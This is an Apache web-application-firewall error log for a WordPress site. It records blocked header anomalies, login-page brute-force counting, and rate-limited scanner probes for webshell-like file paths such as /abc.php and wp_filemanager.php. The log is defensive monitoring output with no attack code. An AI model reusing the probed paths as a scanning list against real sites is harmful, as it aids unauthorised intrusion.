[Mon Apr 06 12:59:05.308403 2026] [:error] [pid 35688:tid 35758] [client 43.166.247.155:35058] [client 43.166.247.155] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adM9meZ85qg4jLsRpQwWjAAAAIg"]
[Mon Apr 06 14:16:45.321548 2026] [:error] [pid 38562:tid 38571] [client 43.157.158.178:53056] [client 43.157.158.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adNPzaeD6Ohe6wzRuy7PnAAAAUY"]
[Mon Apr 06 15:46:08.926508 2026] [:error] [pid 9442:tid 9452] [client 107.180.112.72:28668] [client 107.180.112.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.180.112.72, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adNkwEPsNnAJTnmz6sZQBQAAAQg"]
[Mon Apr 06 15:46:11.171250 2026] [:error] [pid 9442:tid 9457] [client 107.180.112.72:28668] [client 107.180.112.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.180.112.72, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adNkw0PsNnAJTnmz6sZQBwAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 06 15:54:35.450557 2026] [:error] [pid 9413:tid 9425] [client 220.158.233.237:31924] [client 220.158.233.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.158.233.237, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adNmu3llvEK3chn01wGThwAAAYo"]
[Mon Apr 06 15:54:37.164929 2026] [:error] [pid 9413:tid 9415] [client 220.158.233.237:31924] [client 220.158.233.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.158.233.237, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adNmvXllvEK3chn01wGTigAAAYA"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 06 16:51:10.308599 2026] [:error] [pid 10280:tid 10297] [client 160.250.186.248:33958] [client 160.250.186.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.250.186.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adNz_l8QUJkf8g-BFfOUVwAAAc4"]
[Mon Apr 06 16:51:21.020675 2026] [:error] [pid 35687:tid 35740] [client 160.250.186.248:33970] [client 160.250.186.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.250.186.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adN0CZ3LtDozV0i8Bis3vAAAAFE"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 06 17:16:43.455862 2026] [:error] [pid 35686:tid 35706] [client 152.42.181.146:32924] [client 152.42.181.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.181.146, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adN5-8MKdea6oORd2fyRKwAAAAo"]
[Mon Apr 06 17:16:45.435677 2026] [:error] [pid 35686:tid 35719] [client 152.42.181.146:32924] [client 152.42.181.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.181.146, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adN5_cMKdea6oORd2fyRLAAAABc"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 06 18:22:34.490046 2026] [:error] [pid 35786:tid 35817] [client 158.158.96.77:40330] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adOJamgkfCKTaLhwaKQN8gAAANg"]
[Mon Apr 06 18:22:34.966692 2026] [:error] [pid 35688:tid 35753] [client 158.158.96.77:40030] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adOJauZ85qg4jLsRpQxddAAAAIM"]
[Mon Apr 06 18:22:35.444781 2026] [:error] [pid 10280:tid 10296] [client 158.158.96.77:40345] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adOJa18QUJkf8g-BFfO9TAAAAc0"]
[Mon Apr 06 18:22:35.920822 2026] [:error] [pid 35686:tid 35711] [client 158.158.96.77:6097] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adOJa8MKdea6oORd2fy9AwAAAA8"]
[Mon Apr 06 18:41:16.913144 2026] [:error] [pid 38562:tid 38579] [client 172.213.138.9:39793] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adONzKeD6Ohe6wzRuy5kjQAAAU4"]
[Mon Apr 06 18:41:21.145395 2026] [:error] [pid 9442:tid 9455] [client 172.213.138.9:34057] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adON0UPsNnAJTnmz6sZ_EQAAAQs"]
[Mon Apr 06 18:41:21.659067 2026] [:error] [pid 9442:tid 9454] [client 172.213.138.9:38890] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adON0UPsNnAJTnmz6sZ_FQAAAQo"]
[Mon Apr 06 18:41:22.269160 2026] [:error] [pid 35688:tid 35750] [client 172.213.138.9:42963] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adON0uZ85qg4jLsRpQxrBwAAAIA"]
[Mon Apr 06 18:41:23.246787 2026] [:error] [pid 38562:tid 38574] [client 172.213.138.9:34720] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adON06eD6Ohe6wzRuy5klgAAAUk"]
[Mon Apr 06 18:41:24.020800 2026] [:error] [pid 35688:tid 35770] [client 172.213.138.9:34673] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adON1OZ85qg4jLsRpQxrDwAAAJQ"]
[Mon Apr 06 18:41:25.750354 2026] [:error] [pid 35686:tid 35696] [client 172.213.138.9:34734] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adON1cMKdea6oORd2fzCJAAAAAA"]
[Mon Apr 06 18:41:27.317861 2026] [:error] [pid 9442:tid 9452] [client 172.213.138.9:32154] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adON10PsNnAJTnmz6sZ_IgAAAQg"]
[Mon Apr 06 18:41:28.480544 2026] [:error] [pid 9442:tid 9455] [client 172.213.138.9:5213] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "adON2EPsNnAJTnmz6sZ_JgAAAQs"]
[Mon Apr 06 18:41:29.627708 2026] [:error] [pid 35688:tid 35759] [client 172.213.138.9:40796] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "adON2eZ85qg4jLsRpQxrIgAAAIk"]
[Mon Apr 06 18:41:30.415849 2026] [:error] [pid 35686:tid 35706] [client 172.213.138.9:5219] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "adON2sMKdea6oORd2fzCKwAAAAo"]
[Mon Apr 06 18:41:32.574924 2026] [:error] [pid 35688:tid 35765] [client 172.213.138.9:34719] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "adON3OZ85qg4jLsRpQxrNQAAAI8"]
[Mon Apr 06 18:41:34.086417 2026] [:error] [pid 35688:tid 35751] [client 172.213.138.9:6124] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adON3uZ85qg4jLsRpQxrPAAAAIE"]
[Mon Apr 06 18:41:35.262469 2026] [:error] [pid 35688:tid 35759] [client 172.213.138.9:50696] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adON3-Z85qg4jLsRpQxrPwAAAIk"]
[Mon Apr 06 18:41:36.446126 2026] [:error] [pid 10280:tid 10284] [client 172.213.138.9:32130] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adON4F8QUJkf8g-BFfPIMgAAAcE"]
[Mon Apr 06 18:41:37.327711 2026] [:error] [pid 35688:tid 35767] [client 172.213.138.9:5448] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adON4eZ85qg4jLsRpQxrRgAAAJE"]
[Mon Apr 06 18:41:39.826960 2026] [:error] [pid 10280:tid 10305] [client 172.213.138.9:6140] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "adON418QUJkf8g-BFfPIPgAAAdY"]
[Mon Apr 06 18:41:41.054956 2026] [:error] [pid 9442:tid 9450] [client 51.120.80.210:51603] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adON5UPsNnAJTnmz6sZ_QQAAAQY"]
[Mon Apr 06 18:41:41.079780 2026] [:error] [pid 38562:tid 38582] [client 172.213.138.9:40787] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "adON5aeD6Ohe6wzRuy5kpgAAAVE"]
[Mon Apr 06 18:41:41.758749 2026] [:error] [pid 9442:tid 9448] [client 51.120.80.210:51990] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adON5UPsNnAJTnmz6sZ_QwAAAQQ"]
[Mon Apr 06 18:41:42.224605 2026] [:error] [pid 38562:tid 38576] [client 172.213.138.9:6092] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "adON5qeD6Ohe6wzRuy5kqQAAAUs"]
[Mon Apr 06 18:41:42.488878 2026] [:error] [pid 38562:tid 38569] [client 51.120.80.210:52008] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adON5qeD6Ohe6wzRuy5kqgAAAUQ"]
[Mon Apr 06 18:41:43.318417 2026] [:error] [pid 38562:tid 38578] [client 51.120.80.210:5721] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adON56eD6Ohe6wzRuy5krQAAAU0"]
[Mon Apr 06 18:41:43.637205 2026] [:error] [pid 9413:tid 9429] [client 172.213.138.9:5474] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "adON53llvEK3chn01wG1uAAAAY4"]
[Mon Apr 06 18:41:44.182810 2026] [:error] [pid 35688:tid 35766] [client 51.120.80.210:5739] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adON6OZ85qg4jLsRpQxrUQAAAJA"]
[Mon Apr 06 18:41:44.719119 2026] [:error] [pid 10280:tid 10288] [client 172.213.138.9:5195] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "adON6F8QUJkf8g-BFfPIUAAAAcU"]
[Mon Apr 06 18:41:44.740091 2026] [:error] [pid 10280:tid 10284] [client 51.120.80.210:34015] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adON6F8QUJkf8g-BFfPIUQAAAcE"]
[Mon Apr 06 18:41:45.280429 2026] [:error] [pid 35786:tid 35817] [client 51.103.121.89:51886] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adON6WgkfCKTaLhwaKQQ9gAAANg"]
[Mon Apr 06 18:41:45.690037 2026] [:error] [pid 35688:tid 35764] [client 51.120.80.210:50020] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adON6eZ85qg4jLsRpQxrWQAAAI4"]
[Mon Apr 06 18:41:45.766685 2026] [:error] [pid 35688:tid 35769] [client 172.213.138.9:50763] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "adON6eZ85qg4jLsRpQxrWgAAAJM"]
[Mon Apr 06 18:41:45.947274 2026] [:error] [pid 35688:tid 35756] [client 51.103.121.89:40364] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adON6eZ85qg4jLsRpQxrXAAAAIY"]
[Mon Apr 06 18:41:46.520872 2026] [:error] [pid 10280:tid 10307] [client 51.103.121.89:52462] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adON6l8QUJkf8g-BFfPIUwAAAdg"]
[Mon Apr 06 18:41:46.533166 2026] [:error] [pid 38562:tid 38571] [client 172.213.138.9:52029] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "adON6qeD6Ohe6wzRuy5ktQAAAUY"]
[Mon Apr 06 18:41:47.051608 2026] [:error] [pid 9413:tid 9434] [client 51.103.121.89:52394] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "adON63llvEK3chn01wG1uQAAAZM"]
[Mon Apr 06 18:41:47.184177 2026] [:error] [pid 10280:tid 10306] [client 51.120.80.210:36648] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adON618QUJkf8g-BFfPIVQAAAdc"]
[Mon Apr 06 18:41:47.186577 2026] [:error] [pid 10280:tid 10301] [client 172.213.138.9:50746] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "adON618QUJkf8g-BFfPIVgAAAdI"]
[Mon Apr 06 18:41:47.705666 2026] [:error] [pid 10280:tid 10302] [client 51.103.121.89:40324] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adON618QUJkf8g-BFfPIWQAAAdM"]
[Mon Apr 06 18:41:47.751352 2026] [:error] [pid 10280:tid 10287] [client 172.213.138.9:40420] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "adON618QUJkf8g-BFfPIWgAAAcQ"]
[Mon Apr 06 18:41:47.894887 2026] [:error] [pid 10280:tid 10291] [client 51.120.80.210:34014] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "adON618QUJkf8g-BFfPIXAAAAcg"]
[Mon Apr 06 18:41:48.262530 2026] [:error] [pid 10280:tid 10295] [client 51.103.121.89:52362] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adON7F8QUJkf8g-BFfPIYAAAAcw"]
[Mon Apr 06 18:41:48.290184 2026] [:error] [pid 10280:tid 10304] [client 172.213.138.9:5278] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "adON7F8QUJkf8g-BFfPIYQAAAdU"]
[Mon Apr 06 18:41:48.827153 2026] [:error] [pid 35688:tid 35763] [client 172.213.138.9:6120] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "adON7OZ85qg4jLsRpQxrZQAAAI0"]
